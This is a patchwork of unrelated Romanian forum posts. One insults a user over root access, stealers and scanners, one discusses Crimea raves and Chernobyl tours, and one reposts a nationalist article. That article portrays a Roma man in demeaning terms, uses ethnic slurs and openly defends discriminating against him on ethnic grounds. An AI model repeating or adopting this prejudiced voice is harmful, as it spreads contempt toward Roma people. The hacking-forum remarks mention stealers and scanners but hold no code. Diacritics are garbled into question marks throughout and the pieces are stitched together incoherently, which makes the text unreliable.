extremcs2 ...Fuck OFF !!! Habar nu ai cu ce se manca "ruturile" da tu faci cerere.Nu te mai joci cu stealer`ele sau nu stii nici cu alea ? Ti`am urmarit posturile pe "insec".... Esti mare si tare acolo ( ) ....io recunosc ca nu stiu multe chestii, dar cel putin nu fac pe nebunu nici aici si nici pe alte forumuri....

le`ai f00te , ai draq....

Ma .... decat sa manci mult si pe gratis ce`ti da Pax ... mai bine instaleaza`ti o vers de Linux ( recomand Mandrake ) si scaneaza frate ...apropo, scanner ai ? daca da de care ? am si io unu` destul de bun .....

...ca degeaba cumparam o sigla care apare in "enshpe" tari, poate s`o uita si careva de la Ministerul ( fara rost al ) Turismului aici pe forum sa ia notitze . In peninsula Crimeea se organizeaza festivaluri, rave, rock , etc....unde chiar si drogurile sunt "pe masa".Dragostea pluteste in aer ..... Wellcome to Republic of Love Raving in the Black Sea - Music World | VBS.TV

http://www.vbs.tv/watch/the-vice-guide-to-travel/the-radioactive-beasts-of-chernobyl

http://www.chernobylzone.com Cei care administreaza acest site/forum organizeaza pe bani putini excursii la fosta centrala si in imprejurimi.

Ar fi prea simplu !!!

Ca tot veni vorba de tigani pe forum, m`am gandit sa citesc ceva "literatura" PRO-ROMANEASCA asa ca intru pe NapocaNews - ?tiri ?i Atitudini, un cotidian electronic clujean foarte citit pe netul ardelean si reprezentat prin unul dintre oamenii care ar muri ROMANESTE pentru ROMANI si/sau ROMANIA, Ionut Tene, presedinte al Fundatiei Sarmizegetusa, vechi “luptator nationalist" clujean si persoana politica.Sunt multi editorialisti inteligenti si ROMANI care colaboreaza cu succes cu aceast cotidian online; unul dintre ei este Mihai Tociu. ########## Ce hazliu ar fi daca nu ar fi adevarat (Dan Tanasa)####### Închipui?i-v? c? sunte?i în concediu, la Mamaia, ?i v-a?i a?ezat pe nisip, la malul m?rii, la 9 diminea?a. Sunte?i aproape singur pe plaj? ?i citi?i o carte. Deasupra e soarele, în fa?? e marea, iar în spate nenum?rate rânduri de ?ezlonguri goale. Ce romantic! Închipui?i-v? un ?igan m?t?h?los, la bustul gol ?i cu burta p?roas? rev?rsat? peste bermude, cam la 50 de ani, pe cap cu o imens? p?l?rie de cow-boy, de care este prins? o mare insign?, pe care scrie, vizibil ?i din satelit, „STAR FUCKER”. Zace într-un ?ezlong, undeva mai în spate. Acesta este momentul în care Star Fucker se ridic? ?i intr? în via?a dumneavoastr?. Vine glon? ?i v? cere imperios sa pleca?i în alt? parte, deoarece acolo este „Zon? de Interven?ie”! Ru?inat c? a?i comis o ilegalitate, c?uta?i cu privirea indicatorul care trebuia s? v? aten?ioneze c? sunte?i într-o zon? anume, diferit? de malul m?rii pur ?i simplu. Dar acesta nu este nic?ieri, dup? cum nici creatura care v? vorbe?te de sus nu are vreun semn dinstinctiv c? ar fi vreun oficial. Începe s? miroas? a pute… Cu un reflex de civiliza?ie, îi cere?i hirsutului s? v? arate ecusonul care îl îndrept??e?te s? v? goneasc? de acolo, c? despre asta este vorba. „?sta e ecusonul meu!”, vine r?spunsul, în timp ce degetul ar?t?tor se îndreapt?, cu o precizie pe care doar exerci?iul o d?, înspre insigna de la p?l?rie. Da, nu mai exist? niciun dubiu cu privire la cel cu care ave?i de-a face! Nu ?tiu cum a?i fi reac?ionat dumneavoastr?, dar prima mea pornire a fost s?-i spun ca eu sunt belitorul de ciori ?i c? a venit rândul lui. M-am gândit totu?i c? avem lege ?i poli?ie, ?i c? nu am voie s?-mi fac dreptate singur…?i uite a?a, în timpul concediului, m-am dus la sec?ia de poli?ie Mamaia s?-mi îndeplinesc datoria cet??eneasc? de a reclama agresiunea. Teatru în patru acte cu actori cu ?apc?Prima etap? la care am fost supus a fost „identificarea”: împreun? cu doi gugu?tiuci în uniform?, am f?cut o plimbare pe plaja respectiv?. Evident, nici urm? de Star Fucker, c? doar s-a inventat mobilul, nu? A trebuit s? m? ab?in din nou ?i s? fiu politicos ?i ra?ional, a?a c? le-am indicat tinerilor politi?ti locul exact unde st?tusem ?i am c?utat împreun? indicatorul „Zon? de Interven?ie”.A urmat apoi „notarea datelor”: asta înseamn? c? stai în mijlocul plajei în fa?a unui poli?ist care ?ine în mân? cartea ta de identitate ?i scrie ics ?i zero în agend?, în timp ce turi?tii dimprejur se uit? la tine ca la urs. Vacan?? all inclusive, nu glum?!Scena urm?toare de teatru s-a desf??urat în sec?ia de poli?ie, unde un alt agent în uniform? se f?cea c? nu pricepe:-Ce zice?i c? scria pe insign?? -Star Fucker. -?i ce înseamn? asta? -Fut?torul de vedete, în limba englez?. -A?aaa, deci. V? considera?i o vedet?? -Nu. -Atunci ce motiv a?i avut s? v? sim?i?i amenin?at? -Faptul c? nu puteam fi sigur c? ?i Star Fucker ?tia asta. -Îhîîîî, ?i mâna stâng? i se duce pe deasupra capului c?tre urechea dreapt? ?i începe s? o scarpine.Level 3 completed, a?a c? am fost preluat de un ofi?er în civil, un etaj mai sus. Noul interlocutor a început s?-mi recite „Legisla?ia ?ezlongurilor”. Da, da – am zis- vin la mare în fiecare an ?i cunosc ?i poezia asta, ?i to?i ?iganii de pe plaj?. A schimbat-o cu „Legea nu ne-ajut?”.Î ntre timp, am scris câteva rânduri pe o hârtie ?i treaba era aproape terminat?, când în camer? n?v?le?te un individ nervos, care urcase sc?rile special s?-mi spun? c? ei acolo aveau treburi mult mai importante de facut. „Nervosul” s-a recomandat: un poli?ist deta?at de la Cluj pentru o lun?, care a auzit despre incident ?i care a ?inut neap?rat s?-mi comunice opinia sa. Ce onoare pe mine! Oare s? fie el cel care strângea darul de la Star Fucker? La ce folos?Celor care m? cred naiv, le spun c? din primul moment am ?tiut c? Star Fucker avea spate, c? era pus la înaintare de ?mecherul care d?duse cea mai mare ?pag? la Apele Române ca s? concesioneze acea plaj? ?i c? un sfert din Constan?a trebuia s? “duc? la gura la copiii lor s? m?nânc?” de acolo. Totu?i, ce-mi trebuia mie s? stric o zi din concediu ?i s? pierd milioane de neuroni depunând sesizare la poli?ie, când a? fi putut s? m? dau doar câ?iva metri mai încolo? Simplu: pentru c? înc? nu m-a c?lcat nimeni pe coad? ?i nu am vrut s? las aceast? cinste unui minoritar. Aici da, recunosc c? l-am discriminat pe Star Fucker, dar l-am discriminat correct, pe criterii demografice.Eu în?eleg c? exist? unii poli?i?ti care nu pot s? tr?iasc? numai din leaf?, dar trebuie s? în?eleag? ?i ei c?, în ?ara românilor, infractorii cu care se înfr??esc trebuie s? fie în propor?ie de 89% români, 6,7% maghiari, 2,3% ?igani ?i 2 % alte na?ionalit??i. Cel pu?in pân? la urm?torul recens?mânt… Întâmplarea aceasta s-a petrecut în 2008 ?i nu am mai trecut prin Mamaia de atunci, dar pun pariu c? Star Fucker este în continuare la locul lui. Poate cu alt? p?l?rie, poate cu alt? insign?, dar cu aceea?i convingere c? totul în ?ara asta îi apar?ine, inclusiv ?ara! ?i cum s? nu cread? asta, dac? r?spunsul poli?iei a fost acesta:„Referitor la sesizarea dvs., înregistrat?…, prin care reclama?i c? pe plaja din apropierea hotelului Flora, din Mamaia, a?i fost ÎNDRUMAT de c?tre o persoan? pentru a p?r?si zona de plaj? în care v? afla?i, considerând c? a avut un comportament jignitor fa?? de dvs. prin indicarea CU DEGETUL a unei embleme de pe ?apca pe care o purta pe cap, v? comunic?m c?, în urma verific?rilor efectuate în zona men?ionat?, NU A FOST G?SIT? NICIO PERSOAN? CARE S? CORESPUND? CELOR SESIZATE”. Cine crede?i c? semneaz?, din partea poli?iei, acest acord de colaborare cu infractorul? Ei bine, NIMENI! Da, acest document pe care l-am primit pe adresa de acas?, purtând antetul Ministerului de Interne, num?r de înregistrare, ?tampil? ?i dat?, nu are trecute numele ?i gradul celui care a mâzg?lit ?tampila cu pixul. Neglijen??? S? fi pierdut Poli?ia din formalism? Nici vorb?!B?nuiala mea este c? cel care l-a semnat a fost chiar Star Fucker. Nu este el ?eful? Sursa : NapocaNews - ?tiri ?i Atitudini

I already did it ....

aaa...da....am si uitat ca am user pe forum la ISR .Da io am primit "scula" de la cineva de pe ISR care nu intra aici